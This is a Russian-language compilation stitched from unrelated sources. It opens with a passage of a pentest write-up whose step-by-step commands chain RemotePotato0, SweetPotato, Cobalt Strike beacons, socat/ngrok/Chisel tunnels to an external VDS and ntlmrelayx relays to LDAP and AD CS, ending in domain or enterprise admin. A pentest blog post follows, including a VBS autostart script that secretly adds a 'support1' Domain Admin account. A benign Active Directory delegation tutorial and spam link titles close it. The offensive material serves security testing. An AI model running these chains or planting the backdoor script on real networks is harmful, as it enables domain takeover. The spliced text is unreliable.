Так как мы не можем контролировать порт, который ngrok вешает на белый адрес (а нам нужен только 135/TCP), понадобится еще один редиректор, в роли которого выступит socat на моей VDS-ке (на атакуемом сервере должен быть доступ в Интернеты, чтобы до него достучаться).

~$ nslookup <NGROK_IP>
~$ sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:<NGROK_IP>:<NGROK_PORT>

ngrok + socat на VDS

ngrok + socat на VDS

Теперь я могу ловить трафик на 136/TCP на машине аттакера, прилетевший с ngrok, и перенаправлять его обратно на жертву. В этом мне поможет SOCKS-прокся, развернутая кобой.

Эмпирическим путем было установлено, что проксю лучше поднимать в отдельном биконе, т. к. изначальная сессия начинает тупить, когда мы делаем execute-assembly с нашим инжектором, который мы, кстати, так и не протестили – исправим это (теперь надо только перегенерить шеллкод с нужным IP VDS-ки в аргументе -x).

beacon(1)> socks 1080
~$ sudo proxychains4 -q socat -v TCP-LISTEN:136,fork,reuseaddr TCP:<VICTIM_INTERNAL_IP>:9998
beacon(2)> execute-assembly RemotePotato0Inject.exe

А вот и хешики!

А вот и хешики!

Тем временем на VDS

Тем временем на VDS

Но и это не предел наших возможностей – таким же способом можно зарелеить аутентификацию на LDAP. Для начала перегенерим шеллкод с нужными нам аргументами (изменим режим в -m и добавим адрес VDS в -r).

~$ ./donut -i RemotePotato0.exe -b=1 -t -p '-m 0 -r <VDS_IP> -x <VDS_IP> -p 9998 -s <SESSION_ID>' -o RemotePotato0.bin

К сожалению, в бесплатной версии ngrok-а не получится одновременно поднять второй канал, поэтому я воспользуюсь Chisel для перенаправления HTTP-трафла. Откровенно говоря, можно было и первый редирект настроить через chisel, и не юзать ngrok вообще, но ладно.

Мы подробно рассматривали Chisel, когда решали одну из тачек на Hack The Box: https://xakep.ru/2020/02/17/htb-reddish/.

beacon(1)> socks 1080
(ATTACKER) ~$ ngrok tcp 136
(VDS) ~$ sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:<NGROK_IP>:<NGROK_PORT>
(VDS) ~$ sudo ./chisel server -p 8000 --reverse --auth <USER>:<PASS>
(ATTACKER) ~$ ./chisel client --auth <USER>:<PASS> <VDS_IP>:8000 R:80:127.0.0.1:8080
(ATTACKER) ~$ sudo proxychains4 -q socat -v TCP-LISTEN:136,fork,reuseaddr TCP:<VICTIM_INTERNAL_IP>:9998
(ATTACKER) ~$ sudo proxychains4 -q ntlmrelayx.py -t ldap://<DC_INTERNAL_IP> --http-port 8080 --no-smb-server --no-wcf-server --no-raw-server --escalate-user <PWNED_USER>
beacon(2)> execute-assembly RemotePotato0Inject.exe

Релеим HTTP через Chisel

Релеим HTTP через Chisel

Тем временем на VDS (дубль 2)

Тем временем на VDS (дубль 2)

И я снова энтерпрайз админ. Таким образом, мы скрафтили способ повышения привилегий с помощью RemotePotato0 без использования вспомогательного хоста на внутреннем периметре!

В случае, если по какой-либо причине релеить на LDAP(S) не получается, но в домене есть незащищенный эндпоинт Web Enrollment центра сертификации AD CS, можно провернуть вариацию атаки ESC8 (смотрим ресерч Certified Pre-Owned за подробностями).

Для того, чтобы релей сработал в этом случае, может потребоваться поиграть с разными значениями CLSID, которые можно указать через аргумент -c. Захардкоженное значение {5167B42F-C111-47A1-ACC4-8EABE61B0B54} не сработает из-за того, что разные службы (с разными CLSID) используют разные уровни аутентификации при их триггере по RPC (определяется значением этих констант). То, что работает при релее на LDAP, может не сработать при релее на SMB / HTTP (в случае ESC8 релеим именно на HTTP).

Так вот, опять же империческим путем выяснено, что для ESC8 подходит служба CastServerInteractiveUser со значением CLSID {f8842f8e-dafe-4b37-9d38-4e0714a61149}.

Продемонстрировать со скриншотом, к сожалению, не получится, т. к. в моей лаба сервер TEXAS и выполняет роль AD CS, а reflective-релей с самого себе не сработает.

Вот вам пруф

Вот вам пруф

Но в командах это должно было бы выглядеть примерно так.

~$ ./donut -i RemotePotato0.exe -b=1 -t -p '-m 0 -r <ATTACKER_IP> -x <ATTACKER_IP> -p 9998 -s <SESSION_ID> -c {f8842f8e-dafe-4b37-9d38-4e0714a61149}' -o RemotePotato0.bin
~$ ntlmrelayx.py -t http://<ADCS_CA_IP>/certsrv/certfnsh.asp --no-smb-server --no-wcf-server --no-raw-server --adcs --template User

При успешной генерации сертификата от имени атакованного пользюка, далее действуем обычно, как это происходит после проведение ESC8-атаки, а именно пользуемся «Рубевусом» (флаг /getcredentials) или PKINITtools для получения TGT и/или NT-хеша жертвы.

Бонус № 2. Remote Potato без RemotePotato0.exe

В репозитории Impacket ждет своего часа pull request, избавляющий нас от необходимости тащить на атакуемый хост RemotePotato0.exe: триггер NTLM-аутентификации перенесли в этот форк SweetPotato, RPC-сервер реализовали в самом ntlmrelayx.py, а OXID-резолвер вынесли в отдельный скрипт rpcoxidresolver.py. Однако в этом случае самый вкусный функционал будет урезан – триггерить NTLM-аутентификацию можно только от имени машинной УЗ, но не сквозь чужую сессию.

Я покажу способ вооружить и этот вариант атаки, имея под рукой только бикон «кобы» и инстанс VDS, через классическую реализацию RBCD-абьюза для пывна сервера, откуда прилетает аутентификация.

Для этого сначала определимся, что, куда и зачем мы редиректим:

  1. С помощью ngrok создаем TCP-канал извне до localhost:135. Так как RPC-сервер теперь крутится на машине атакующего, нам не нужно ничего зеркалить вторым socat – достаточно запустить rpcoxidresolver.py, который уже слушает localhost:135.
  2. С помощью Chisel пробрасываем порт 9997 с VDS на порт 9998 машины атакующего, который слушает RPC-сервер ntlmrelayx.py. В качестве адреса RPC-сервера в rpcoxidresolver.py (опция -rip) указываем IP нашего VDS – это нужно для того, чтобы передать NTLM-аутентификацию в ntlmrelayx.py (при использовании адреса 127.0.0.1 эта конструкция работать отказывается).
  3. ntlmrelayx.py пускаем через проксю CS для релея на службу LDAPS контроллера домена. Да, на LDAPS, потому что в результате релея мы хотим настроить делегирование относительно вспомогательной сервисной УЗ, которую нельзя создать по LDAP.
  4. Стреляем SweetPotato.exe из CS с триггером CLSID {42CBFAA7-A4A7-47BB-B422-BD10E9D02700}, предлагаемого автором PR.
beacon(1)> socks 1080
(ATTACKER) ~$ ngrok tcp 135
(VDS) ~$ sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:<NGROK_IP>:<NGROK_PORT>
(VDS) ~$ sudo ./chisel server -p 6666 --reverse --auth <USER>:<PASS>
(ATTACKER) ~$ ./chisel client --auth <USER>:<PASS> <VDS_IP>:6666 R:9997:127.0.0.1:9998
(ATTACKER) ~$ python examples/rpcoxidresolver.py -oip 127.0.0.1 -rip <VDS_IP> -rport 9997
(ATTACKER) ~$ proxychains4 -q python examples/ntlmrelayx.py -t ldaps://<INTERNAL_DC_IP> --rpc-port 9998 -smb2support --no-smb-server --no-http-server --no-wcf-server --no-raw-server --no-da --no-acl --delegate-access
beacon(2)> execute-assembly SweetPotato.exe -e 1 -oip <VDS_IP> -c 42CBFAA7-A4A7-47BB-B422-BD10E9D02700

S4U2Proxy, я иду!

S4U2Proxy, я иду!

После этого, полагаю, не нужно объяснять, что делать дальше.

Получаем TGS-билет через транзитные расширения Kerberos (S4U2Self & S4U2Proxy) с опцией олицетворения пользователя administrator (getST.py) и фигачим secretsdump.py / wmiexec.py, чтобы извлечь секреты LSA или получить шелл на сервере.

Теперь мы законные админы на сервере TEXAS

Теперь мы законные админы на сервере TEXAS

Прикольный вариант атаки, но протащить и выполнить оригинальный бинарь, как мы показали ранее, тоже не составляет большого труда.

Поднятие привилегий в домене. Что может быть проще.

Проводя внутренние пентесты в корпоративном секторе, я зачастую сталкиваюсь с множеством проблем ИБ, которые позволяют получить привилегии Администратора каталога Active Directory . Про наиболее простые из эксплуатируемых векторов в моей практике далее в этой заметке.
1. Безалаберность

На моей памяти зафиксировано уже несколько эпизодов, когда поднять привилегии в домене до уровня [Domain Adminsk удается путем получения доступа к различным бэкапам контроллера домена:) В основном отрабатывают следующие вектора:

name=’more’>
— Простой поиск по общим сетевым ресурсам
— Проблемы с Patch Management (яркий пример: использование уязвимой версии CA BrightStor ARCserve)
— Хранение System state контроллера домена на уязвимом standalone-сервере
— Использование брутабельных паролей на различных ресурсах сети

Рекомендации по закрытию вектора самые банальные: использовать [правильноеk разграничение доступа, не хранить важные данные на серверах типа [файловых помоекk, своевременно устанавливать обновления от производителей и использовать стойкие и не повторяющиеся пароли для доступа к информационным ресурсам.
2. Беспечность

В сетях с большим числом пользователей применяют механизмы простого и быстрого развертывания операционных систем на компьютерах конечных пользователей. Для этого используют заранее подготовленные образы операционных систем или возможности unattend-развертывания. И, как показывает распространенная практика, локальная учетная запись администратора на подобных компьютерах остается включенной после завершения установки операционной системы. Причем, чтобы не запутаться в паролях, на всех локальных учетных записях администраторов используется один и тот же пароль:) Безусловно, разделяют пароль для локального администратора клиентской операционной системы и серверной. А в некоторых случаях даже производят регулярную смену этого пароля, но порой даже эта мера не спасает системы от их компрометации. Уязвимость возникает в том случае, когда в SAM-базе операционной системы хранится LM-хеш от пароля локального администратора и используемый пароль не превышает 14-ти символов, либо используется брутабельный пароль на основе NTLM-хеша. Соответственно, добравшись до SAM-базы, становится возможным скомпрометировать большинство компьютеров в сети, в том числе рабочую станцию администратора домена, что фактически позволяет получить полный контроль над доменом.
Нужно добавить, что в доменной архитектуре локальная учетная запись не требуется. И даже будучи отключенной, она доступна при загрузке в безопасном режиме. Подробнее: support.microsoft.com

Другой пробиваемый вектор атаки заключается в том, что администраторы домена зачастую подключаются под привилегированной учетной записью на обслуживаемые ими сервера, в том числе и на тестовые, а порой даже для выполнения задач администрирования на пользовательских рабочих станциях. Таким образом, получив контроль над одним таким сервером или рабочей станцией, возможно, достаточно тривиально получить расширенные привилегии в домене.
Например, следующий сценарий на vbs, будучи помещенный в автозагрузку, создаст учетную запись [support1k с паролем [P@ssw0rdk в AD и поместит ее в группу [Domain Adminsk, если на компьютер в интерактивном режиме залогинится пользователь с соответствующими привилегиями.

On Error Resume Next
Dim objRoot, objContainer, objUser, objGroup, objSysInfo, strUserDN
Set objSysInfo = CreateObject(«ADSystemInfo»)
strUserDN = objSysInfo.userName
Set objUser = GetObject(«LDAP://» & strUserDN)
If IsMember(«Domain Admins») Then
Set objRoot = GetObject(«LDAP://rootDSE»)
Set objContainer = GetObject(«LDAP://cn=Users,» & objRoot.Get(«defaultNamingContext»))
Set objUser = objContainer.Create(«User», «cn=support1»)
objUser.Put «sAMAccountName», «support1»
objUser.SetInfo
objUser.SetPassword «P@ssw0rd»
objUser.Put «userAccountControl», 512
objUser.SetInfo
Set objGroup = GetObject («LDAP://cn=Domain Admins, cn=Users,» & objRoot.Get(«defaultNamingContext»))
objGroup.PutEx 3, «member», Array(«cn=support1, cn=Users,» & objRoot.Get(«defaultNamingContext»))
objGroup.SetInfo
End If
Function IsMember(strGroup)
Dim objGroupList
If IsEmpty(objGroupList) Then
Set objGroupList = CreateObject(«Scripting.Dictionary»)
objGroupList.CompareMode = vbTextCompare
For Each objGroup In objUser.Groups
objGroupList(objGroup.sAMAccountName) = True
Next
End If
IsMember = objGroupList.Exists(strGroup)
End Function

Рекомендации по закрытию вектора следующие: отключить локальную учетную запись администратора на всех доменных компьютерах, использовать учетные записи с пониженными привилегиями при выполнении задач администрирования, осуществлять мониторинг доступа к ресурсам, в том числе доступа к Active Directory (изменение членства групп, создание новых объектов и т.д.).
3. Незнание

Очень эффективным методом получения расширенных привилегий в домене при проведении внутреннего пентеста по-прежнему является атака MITM и банальный снифинг всего трафика. Первый вектор это, конечно же, ARP-spoofing при котором есть место и элегантным атакам. Например, при реализации вектора атаки возможно снизить уровень проверки подлинности SMB на более простой, что позволяет легко восстановить пароль по перехваченным значениям hashes/challenge. Также, при использовании уязвимого протокола RDP, существует возможность перехватить вводимый пароль в виде открытого текста:)

Второй вектор чаще всего реализуем после успешной атаки на сетевое оборудование (сеть на концентраторах уже уходит в прошлое). Например, атака на перевод порта коммутатора, к которому подключен ноутбук аудитора, в режим trunk, либо переконфигурирование оборудования через SNMP community.
Рекомендации по закрытию вектора: [грамотноеk разделение сети на подсети (технологическую, пользовательскую и т.п.), настройка сетевого оборудования и Active Directory в соответствии с рекомендациями CIS, своевременная установка обновлений от производителей.


уязвимости
pentest
аудит
vulns
тест на проникновение

Alt text


Цифровые следы — ваша слабость, и хакеры это знают. Подпишитесь и узнайте, как их замести!


В этой статье мы рассмотрим особенности делегирования полномочий в домене Active Directory. Делегирование позволяет предоставить право на выполнение некоторых задач управления AD обычным пользователям домена, не включая их в привилегированные доменные группы, такие как Domain Admins, Account Operators и т.д.. Например, с помощью делегирования вы можете предоставить определённой группе пользователей (допустим, Helpdesk) право на добавление пользователей в группы, заведение новых пользователей в AD и сброс пароля.

Содержание:

  • Особенности делегирования прав в Active Directory
  • Делегирование прав на сброс паролей и разблокировку учетных записей
  • Предоставление права на добавление компьютеров в домен AD
  • Просмотр и удаление назначенных прав в Active Directory
  • Делегирование прав в Active Directory с помощью PowerShell

Особенности делегирования прав в Active Directory

Для делегирования прав в AD используется мастер Delegation of Control Wizard в графической оснастке Active Directory Users and Computers (DSA.msc).

Административные права в AD можно делегировать на довольно детальном уровне. Одной группе можно предоставить право на сброс пароля в OU, другой – на создание и удаление аккаунтов, третьей на сброс пароля. Можно настроить наследование разрешений на вложенные OU. Вы можете делегировать права в AD на четырех уровнях:

  1. Сайта AD;
  2. Всего домена;
  3. Конкретной OU в Active Directory;
  4. Конкретного объекта AD.

Несколько рекомендаций по правильному использованию делегирования администраивных полномочий в AD:

  • Не рекомендуется делегировать разрешения непосредственно для кокретных учетных записей пользователей. Вместо этого создайте в AD новую группу безопасности, добавьте в нее пользователя и делегируйте полномочия на OU для этой группы. Если вам понадобится предоставить такие же права в домене еще одному пользователю, вам будет достаточно добавить его в группу безопасности;
  • Старайтесь не использовать запрещающих разрешений, т.к. они имеют приоритет над разрешающими;
  • Периодически выполняйте аудит делегированных полномочий в домене (отчет с текущими списками разрешений на OU можно сгенерировать с помощью PowerShell).
  • Не делегируйте права на управление OU с административными аккаунтами. Иначе легко может произойти ситуация, когда любой сотрудник службы поддержки может сбросить пароль администратора домена. Все чувствительные пользователи и группы с повышенными привилегиями нужно размещать в отдельной OU, на которую не распространяется правила делегирования.

Делегирование прав на сброс паролей и разблокировку учетных записей

Представим, наша задача – предоставить группе HelpDesk право на сброс пароля и разблокировку аккаунтов пользователей в домене. Итак, создадим новую группу в AD с помощью PowerShell:

New-ADGroup "HelpDesk" -path 'OU=Groups,OU=Moscow,DC=corp,dc=winitpro,DC=ru' -GroupScope Global

Добавьте в группу нужных пользователей:

Add-AdGroupMember -Identity HelpDesk -Members ivanovaa, semenovvb

Запустите консоль Active Directory Users and Computers (ADUC), щелкните ПКМ по OU с пользователями (в нашем примере это ‘OU=Users,OU=Moscow,DC=corp,dc=winitpro,DC=ru’) и выберите пункт меню Delegate Control.

Delegate Control

Выберите группу, которой вы хотите предоставить административные полномочия.

выбрать группу для делегирования полномочий

Выберите из списка один из преднастроенных наборов привилегий (Delegate the following common tasks):

  • Create, delete, and manage user accounts;
  • Reset user passwords and force password change at next logon;
  • Read all user information;
  • Create, delete and manage groups;
  • Modify the membership of a group;
  • Manage Group Policy links;
  • Generate Resultant Set of Policy (Planning);
  • Generate Resultant Set of Policy (Logging);
  • Create, delete, and manage inetOrgPerson accounts;
  • Reset inetOrgPerson passwords and force password change at next logon;
  • Read all inetOrgPerson information.

Либо создайте собственное задание делегирования (Create a custom task to delegate). Я выберу второй вариант.

Create a custom task to delegate

Выберите тип объектов AD, на которые нужно предоставить права. Т.к. нам нужно предоставить права на учетные записи пользователей, выберите пункт User Object. Если вы хотите предоставить право на создание и удаление пользователей в этом OU, выберите опции Create/Delete selected objects in this folder. В нашем примере мы не предоставляем таких полномочий.

User Object

В списке разрешений нужно выбрать те привилегий, которые вы хотите делегировать. В нашем примере мы выберем право на разблокировку (Read lockoutTime и Write lockoutTime) и сброс пароля (Reset password).

Read lockoutTime и Write lockoutTime

Нажмите Next и на последнем экране подтвердите назначение выбранных полномочий.

мастер делегирования полномочий в Active Directory

Теперь под учетной записью пользователя из группы HelpDesk попробуйте из PowerShell сбросить пароль пользователя из OU Users, например из PowerShell:

Set-ADAccountPassword petricdb -Reset -NewPassword (ConvertTo-SecureString -AsPlainText “PPPPa$$w0rd1” -Force -Verbose) –PassThru

Пароль должен сброситься успешно (если он соответствует доменной политике паролей).

Теперь попробуйте создать пользователя в данной OU с помомью командлета New-ADUser:

New-ADUser -Name kalininda -Path 'OU=Users,OU=Moscow,OU=winitpro,OU=DC=ru' -Enabled $true

Должна появится ошибка доступа, т.к. вы не делегировали полномочий на создание учетных записей.

Для контроля действий пользователей, которым вы делегированными административные права, вы можете использовать журналы контроллеров домена. Например, вы можете отследить кто сбросил пароль пользователя в домене, узнать кто создал учетную запись пользователя в AD или отследить изменения в определённых группах AD.

Предоставление права на добавление компьютеров в домен AD

По умолчанию любой пользователь домена может присоединить в домен 10 компьютеров. При добавлении в домен 11-го компьютера появится ошибка:

Your computer could not be joined to the domain. You have exceeded the maximum number of computer accounts you are allowed to create in this domain. Contact your system administrator to have this limit reset or increased.

You have exceeded the maximum number of computer accounts you are allowed to create in this domain

Вы можете изменить это ограничение на уровне всего домена, увеличив значение в атрибуте ms-DS-MachineAccountQuota (ссылка). Либо (гораздо правильнее и безопаснее), делегировав право на ввод компьютеров в домен в определенной OU конкретной группе пользователей (helpdesk). Для этого нужно предоставить право создавать объекты типа (Computer objects). В мастере делегирования выберите Create selected objects in this folder.

Create selected objects in this folder

А в секции Permissions выберите Create All Child Objects.

делегировать право на создание объектов в AD

Если вы хотите делегировать права на перемещение объектов между организационными подразделениями в AD, нужно предоставить следующие расрешения: Delete User objects, Write Distinguished Name, Write name (**), Create User (или Computer) objects.

Просмотр и удаление назначенных прав в Active Directory

На любую OU в AD можно назначить любое количество правил делегирования. Вы можете получить список групп и делегированные им права в свойствах OU в консоли ADUC. Перейдите на вкладку Security.

Здесь содержится список объектов AD, которым предсоатвлены разрешения на этот контейнер. Список предоставленных полномочий можно посмотреть на вкладке Advanced. Как вы видите для группы HelpDesk разрешен сброс паролей.

расширенные настройки делегирования в AD

Вы можете лишить определенную группу администраивных прав, назначенных ранее через делегирование. В списке разрешений найдите группу, который вы делегировали права и нажмите Remove.

Также со вкладки Security -> Advanced вы можете самостоятельно настроить делегирование полномочий, назначая нестандартные разрешений различным группам безопасности.

Делегирование прав в Active Directory с помощью PowerShell

С помощью PowerShell вы можете вывести список прав, которые делегированы на OU или изменить текущие разрешения. Для получения и изменения прав в Active Directory используются командлеты
Get-ACL
и
Set-ACL
(эти же командлеты PowerShell используются для управления NTFS разрешения на файлы и папки).

Следующий простой скрипт выведет список нестандартных разрешений, которые делегированы на определенное организационное подразделение в AD:

# Получаем OU
$OUs = Get-ADOrganizationalUnit -Filter 'DistinguishedName -eq "OU=Users,OU=NSK,DC=winitpro,DC=ru"'| Select-Object -ExpandProperty DistinguishedName
$schemaIDGUID = @{}
$ErrorActionPreference = 'SilentlyContinue'
Get-ADObject -SearchBase (Get-ADRootDSE).schemaNamingContext -LDAPFilter '(schemaIDGUID=*)' -Properties name, schemaIDGUID |
ForEach-Object {$schemaIDGUID.add([System.GUID]$_.schemaIDGUID,$_.name)}
Get-ADObject -SearchBase "CN=Extended-Rights,$((Get-ADRootDSE).configurationNamingContext)" -LDAPFilter '(objectClass=controlAccessRight)' -Properties name, rightsGUID |
ForEach-Object {$schemaIDGUID.add([System.GUID]$_.rightsGUID,$_.name)}
$ErrorActionPreference = 'Continue'
ForEach ($OU in $OUs) {
$report += Get-Acl -Path "AD:\$OU" |
Select-Object -ExpandProperty Access |
Select-Object @{name='organizationalUnit';expression={$OU}}, `
@{name='objectTypeName';expression={if ($_.objectType.ToString() -eq '00000000-0000-0000-0000-000000000000') {'All'} Else {$schemaIDGUID.Item($_.objectType)}}}, `
@{name='inheritedObjectTypeName';expression={$schemaIDGUID.Item($_.inheritedObjectType)}}, `
*
}
# отчет с назначенными правами на OU

Вы можете получить отчет с разрешениями в виде графической таблицы Out-GridView:

$report| where {($_.IdentityReference -notlike "*BUILTIN*") -and ($_.IdentityReference -notlike "*NT AUTHORITY*") }| Out-GridView

Или экспортировать права в CSV файл для дальнейшего анализа в Excel (из скрипта PowerShell можно писать строки напрямую в Excel файл):
$report | Export-Csv -Path "C:\ps\ADOU_Permissions.csv" –NoTypeInformation

Экспорт делегированных полномочий на OU в Active Directory

В полученном отчете сразу видно, что для группы HelpDesk делегированы права на сброс паролей пользователей в OU.

Для делегирования прав на OU можно использовать утилиту dsacls. Например:

dsacls "ou=users,ou=msk, dc=winitpro,dc=ru" /I:S /G "WINITPRO\HELPDESK:CA;Reset Password;user" "WINITPRO\HELPDESK:WP;pwdLastSet;user" "WINITPRO\HELPDESK:WP;lockoutTime;user

Также вы можете назначить права на организационный контейнер с помощью PowerShell (в этом примере делегируются права на сброс пароля):

$ou = "AD:\OU=test,DC=test,DC=com"
$group = Get-ADGroup helpdesk
$sid = new-object System.Security.Principal.SecurityIdentifier $group.SID
$ResetPassword = [GUID]"00299570-246d-11d0-a768-00aa006e0529"
$UserObjectType = "bf967aba-0de6-11d0-a285-00aa003049e2"
$ACL = get-acl $OU
$RuleResetPassword = New-Object System.DirectoryServices.ActiveDirectoryAccessRule ($sid, "ExtendedRight", "Allow", $ResetPassword, "Descendents", $UserObjectType)
$ACL.AddAccessRule($RuleResetPassword)
Set-Acl -Path $OU -AclObject $ACL

По аналогии с помощью PowerShell можно делегировать и другие права на организационные контейнеры AD.

  • Поврежденные элементы реестра windows 10 как устранить
  • Повышение прав в командной строке windows 10
  • Повер поинт скачать бесплатно для windows 10 на русском с активатором
  • Повышение версии windows 10 до pro
  • Повреждена корзина на диске с что делать windows 10